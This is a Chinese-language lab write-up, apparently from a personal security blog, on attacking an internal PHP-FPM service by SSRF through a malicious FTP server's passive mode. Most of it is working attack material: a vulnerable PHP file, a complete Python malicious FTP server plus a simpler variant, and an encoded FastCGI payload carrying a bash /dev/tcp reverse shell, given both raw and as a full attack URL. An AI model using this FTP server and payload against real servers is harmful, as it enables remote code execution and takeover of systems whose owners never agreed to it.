实验--通过FTP_SSRF_攻击PHP-FPM

摘要
通过受害机请求恶意FTP服务,攻击内网中脆弱的FPM服务


### 实验--通过FTP_SSRF_攻击PHP-FPM

环境准备-SSRF

file.php

1
2
3
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);

实验环境:

攻击机:kali-linux-2020.3 IP:192.168.64.129

服务机:Ubuntu 20 IP:192.168.64.128

其他环境条件请看前置文章

原理准备

file_get_contents & file_put_contents

file_get_contents 函数把整个文件读入一个字符串中。

file_put_contents() 函数把一个字符串写入文件中。file_put_contents不会自动创建目录。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

同样的,类似的函数支持许多强大的文件传输协议,php,file,data……以及ftp

PHP-FPM 发送数据

​ 如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。

​ 另一个已知的允许通过 TCP 发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。

那么,对于file.php:

viewFile=ftp://evil-server/file.txt

  • 首先通过 file_get_contents() 函数连接到我们的FTP服务器,并下载file.txt。
  • 然后再通过 file_put_contents() 函数连接到我们的FTP服务器,并将其上传回file.txt。

我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件,当它试图使用 file_put_contents() 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF。

攻击过程

payload

使用gopherus生成攻击fastcgi的payload:

image-20211109231157981

截取_后的数据段

恶意 FTP 服务

https://mp.weixin.qq.com/s/UPf62W0LoOGsFAdH4uqBcQ

我对此文件进一步修改了下,使其更好用一点……因为这里踩了好长时间的坑……

关于状态码:https://blog.csdn.net/qq981378640/article/details/51254177

替换data内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding: utf-8 -*-
# @Author : INA

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
# 标准请求:ftp://aaa@192.168.64.128:23/123
# payload
data1 = "%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.64.128/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"

payload = unquote(data1)
payload = payload.encode('utf-8')

# 具体设置 ################################
Host = '0.0.0.0' # FTP开到公网上
Port = 23 # FTP服务端口
Real_IP = "192,168,64,128" # 可访问服务IP
PASV_Port = 1234 # PASV模式端口号
FPM_Port = 9000 # 受害机FPM服务端口号
# #######################################

# ftp主回应
sk = socket.socket()
sk.bind((Host, Port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((Host, PASV_Port))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
# PASV模式,告诉请求机到哪个端口寻求数据
# 这里需要可访问的服务IP
con_ip = "227" + " " + Real_IP + "," + str(int(PASV_Port / 256)) + "," + str(PASV_Port % 256) + '\n'
con_ip = bytes(con_ip, encoding="utf8")
conn.send(con_ip)
# conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
# 第二次连接,告诉请求机把数据放到哪
con2_ip = "227" + " " + "127,0,0,1" + "," + str(int(FPM_Port/256)) + "," + str(FPM_Port % 256) + '\n'
con2_ip = bytes(con2_ip, encoding="utf8")
conn.send(con2_ip)
# conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000 9000 fpm常用端口

print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

运行,起FTP服务

开启监听

image-20211109231743972

SSRF

file.php中:

image-20211109231808693 image-20211109231856589

成功反弹shell!

拓展

当仅有file2.php

1
2
<?php
file_put_contents($_GET['file'], $_GET['data']);

我们只需要对请求与数据进行转发即可

简单的恶意 FTP 服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 简单的数据转发

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
# Service ready for new user.
# Client send anonymous username
# USER anonymous
conn.send(b'331 Please specify the password.\n')
# User name okay, need password.
# Client send anonymous password.
# PASS anonymous
conn.send(b'230 Login successful.\n')
# User logged in, proceed. Logged out if appropriate.
# TYPE I
conn.send(b'200 Switching to Binary mode.\n')
# Size /
conn.send(b'550 Could not get the file size.\n')
# EPSV (1)
conn.send(b'150 ok\n')
# PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') # STOR / (2) # FPM端口号
conn.send(b'150 Permission denied.\n')
# QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
攻击

payload:

1
http://192.168.64.129/file2.php?file=ftp://aaa@192.168.64.128:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.64.128/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
image-20211109233106420

反弹成功!

参考文章:
[浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法](https://whoamianony.top/2021/05/15/Web安全/浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法/)

LARAVEL的那个RCE最有趣的点在这里

https://github.com/Maskhe/evil_ftp/blob/master/evil_ftp.py

作者

inanb

发布于

2021-11-09

更新于

2021-11-24

许可协议


:D 一言句子获取中...